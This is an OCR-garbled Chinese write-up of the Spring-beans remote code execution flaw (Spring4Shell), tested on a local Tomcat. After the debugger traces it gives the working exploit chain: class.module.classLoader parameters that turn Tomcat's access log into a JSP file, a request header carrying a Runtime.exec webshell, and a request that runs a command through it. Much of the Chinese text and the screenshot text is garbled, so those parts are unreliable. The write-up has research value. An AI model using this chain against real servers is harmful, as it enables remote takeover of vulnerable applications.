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* @author : p1n93r

* @date : 2022/3/29 17:34
*/

@setter

@Getter

public class EvalBean {

public EvalBean() throws ClassNotFoundException {

System.out.println("[+] JATEvalBean.EvalBean");
3

public String name;

public CommonBean commonBean;

public String getName() {
System.out.println("[+] VA TEvalBean.getName");
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return name;

public void setName(String name) {
System.out.println("[+] @A TEvalBean.setName");
this.name = name;

public CommonBean getCommonBean() {
System.out.println("[+] J@MATEvalBean.getCommonBean");
return commonBean;

public void setCommonBean(CommonBean commonBean) {
System.out.println("[+] JAATEvalBean.setCommonBean");
this.commonBean = commonBean;

FHHControllerBEEMN T, WREIEEMNEE !

@RequestMapping("/index")

public void index(EvalBean evalBean, Model model){
System.out.println("== ==");
System.out.println(evalBean);
System.out.println("==

)i

FREAFRBSHHPENRENRE, SHREBINNTERUENNE, HBET :

8)

Property(gpd.getBeanClass(), gpd.getReadMethod(), gpd.getWriteMethod(), gpd.getName()

@Nullable
BeanWrapperImpl.BeanPropertyHandler getlLocalPropertyHandler(String propertyName) {
PropertyDescriptor pd = .getCachedIntrospectionResults() getPropertyDescriptor(propertyName);

pd != ? BeanWrapperImpl.BeanPropertyHandler(pd) : 5

Tomcat Catalina Log

: RUNNING

getlocalPropertyHandler:230, BeanWrapperlmpl (org.springframework.beans)
getlocalPropertyHandler:63, BeanWrapperimpl
getPropertyValue:620, AbstractNestablePropertyAccessor
getNestedPropertyAc AbstractNestablePropertyAc: r

ertyAcc rF pertyPath:816, AbstractNestablePropertyAcc

ertyValue:256, AbstractNestablePropertyAcc

5:97, AbstractPropertyAccessor

applyPropertyValues:848, DataBinder

44, DataBinde

7, WebDataBinder

bind:107, ServletRequestDataBinder
bindRequestParameters:158, ServletModelAttributeMethodProc
resolveArgument:160, ModelAttributeMethodProcessor
resolveArgument:121, HandlerMethodArgumentRe
getMethodArgumentValues:167, InvocableHandlerMethod

invoke! 3 ndlerMeth:

Java Ente

%ﬁﬁgﬁ/l\ cache E"JET_W;; ﬁ‘t‘i%?; ﬁﬂﬁﬁiﬁ“ﬁ—ﬁ\ class E'&%ﬁ? 220000
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@) File Edit Vi R r Build Run I Help Tags
stupidRumor ) lib ) spring-beans-5.2.3.RELEASEjar ) org ) springframework ) beans nWrapperimpl =, Tomcat 8.0
AbstractNestablePropertyAccessor.class BeanWrapperimpl.class

Decompiled .class file, bytecode version: 52.0 (Java 8)

Property(gpd.getBeanClass(), gpd.getReadMethod(), gpd.getWriteMethod(), gpd.getName());

@Nullable
BeanWrapperInpl.BeanPropertyHandler getLocalPropertyHandler(String propertyName) {
PropertyDescriptor pd = .getCachedIntrospectionResults().getPropertyDescriptor(propertyName);
pd != Ev

Code fragment:

perimpl .getCachedIntrospectionResults()

Tomeat Localhost

Frames
¥ b Running
% Tomeat 8.0.49 “http-apr-80 n group "my 1
\Wrap)
getLocalPropertyHandl BeanWrapperln

rimy

getNs
getPropertyAc o ath:816, y e s 3
tyValu ab p GenericTypeAwarePropertyDescriptor@5848} "org.springframework.bs

setPropertyValu org.springframey

107, ServletRequestDataBinder
bindRequestP: 1158, ServietModelAtt
solveArgument , elAttributeMethoc
resolveArgument:121, HandlerMethodArgum
getMethodArgumentValues:167, InvocableHal

Evaluate

BIXERMAERTIRE T, XFAE—MIRE, ENE—MMEELSINRER | ERABT, RITRERHMAIURRE] class 3¢
R, BRETHRBFARXD class WRIDSHBIET, BRLRERNAR, MEESTomcattIAFEE, mMAEHE Ashell, —5
SRR AENT ¢

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%66%75%63%6b%7d%69
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d%79%4a%61%76%61%43%6T%64%65%5C%73%74%75%70%69%64%52%
class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuckJsp
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

EHAERTE, B—MEHS2NERTomcatBEEE, FABESshellIF% ; EANKESEINT, KELXMTSMNEK :

http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%66%75%
http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6
http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuckJsp
http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

REFEXSMERSG, Tomcath HERBHSHAMT -
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.getClass().getClassLoader()).getResources().getContext (),
getFirst();

*org.apache.catalina.valves AccessLogValve[localhost]"

Ise

null

null
*StandardEngine[Catalina].StandardHost[localhost]”

AmyJavaCode\stupidRumonout\artifacts\stupidRumor_war_explodedifuckJsp.j

tValve[localhost]"

ccessLogValve®

"STARTED"

[ )l
0
0
0
0
0
0
0 pre
(]
(]
(]
(]
0
(]
(]

Evaluate Close

BEBINRAZEBELRE—ERK, I— 1 fuckiheader, EIA]E Ashell

GET /stupidRumor_war_exploded/fuckUUUU HTTP/1.1

Host: 127.0.0.1:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp,*/*;q=0.8
fuck: <%Runtime.getRuntime().exec(request.getParameter("cmd"))%>

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Sec-Fetch-User: 2?1
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) File Edit r Build Run Window Help Tags  stupidRumor - p - Intelli) IDEA

stupidRumor ded

operty,

BeanWrapperimg

<%Runtime .getRuntime () .exec(request.getParameter("cnd")) ;%>

cts

stupidRumor_war_exploded

WEB-INF
fucklsp. j:

product

Catalina Log

Running
3 Tomcat 8.049

con.pinger. fun.model.EvalBean@5dasd536
+] AT EvalBean.EvalBean
con.pinger. fun.model.EvalBean@744d4523

[+] A TEvalBean.EvalBean

un.model.EvalBean@2flbclae

6: TODO Terminal

started 1:1 CRLF UTF-8

AIMEEifiEshell

Burp Project Intruder Repeater Window Help Burp Suite Professional v2021.8 - Temporary Project - cia - O
burp-unauth-checker BurpJSLinkFinder BIE ApiKiller APIKit Passive Scan Client
Extender Project options User options Learn ShiroScan FastlsonScan Struts Finder BSPE
Dashboard Target Proxy Repeater Decoder Intruder Sequencer Comparer Logger

21 = 22 x 23 = 24 x 25 x 28 =« 29 x

m Cancel \ < "| Target: http://127.0.0.1:8080 5? HTTR/ @
O== =

Request Response =

Pretty m Hex \n

GET /stupidRumor_war_exploded/fuckdJsp. jsp?cmd=calc
HTTP/1.1

Host: 127.0.0.1:8080

User—Agent: Mozilla/5.0 (Windows NT 10.0)
AppleWebKit/537. 36 (KHTML, |ike Gecko)
Chrome/99.0.7113.93 Safari/537. 36

Accept:

text/html, application/xhtml+xml, application/xml;q=0
, image/avif, image/webp, */*;9=0.8

Accept-Language:

zh-CN, zh;g=0. 8, zh-TW; g=0. 7, zh-HK; q=0. 5, en-US;q=0. 3, e
;9=0.2
Accept-Encoding: gzip,
Connection: close

(S}

w

~

w

deflate

Prettv  Raw Hex .ma ' =

Sec-Fetch-Dest:
Sec—Fetch-Mode:
Sec-Fetch-Site:
Sec—Fetch-User:

M= OO m o

w

Upgrade-Insecure—Requests: 1

document
navigate

none
i

OB s

0 match

Done

l%\gﬁ

Spring-beans RCE;RE 247

e

= HZ

DEGRESIY

M+

A=Er. [ @m-~
2 n e
bia Yx x|
x ( )
x* 7 8
10° 4 5

Ms

O

x

0]

0

H01D3dSNI

269 bytes | 557 millis




XEESATT AR E classITR T, BAFAAREEARLEEREX—H ;
o EHEAMUER—T, AESHNELEPRRERE—1POIOWCclass5 A ?

Spring-beans RCE;RE 247



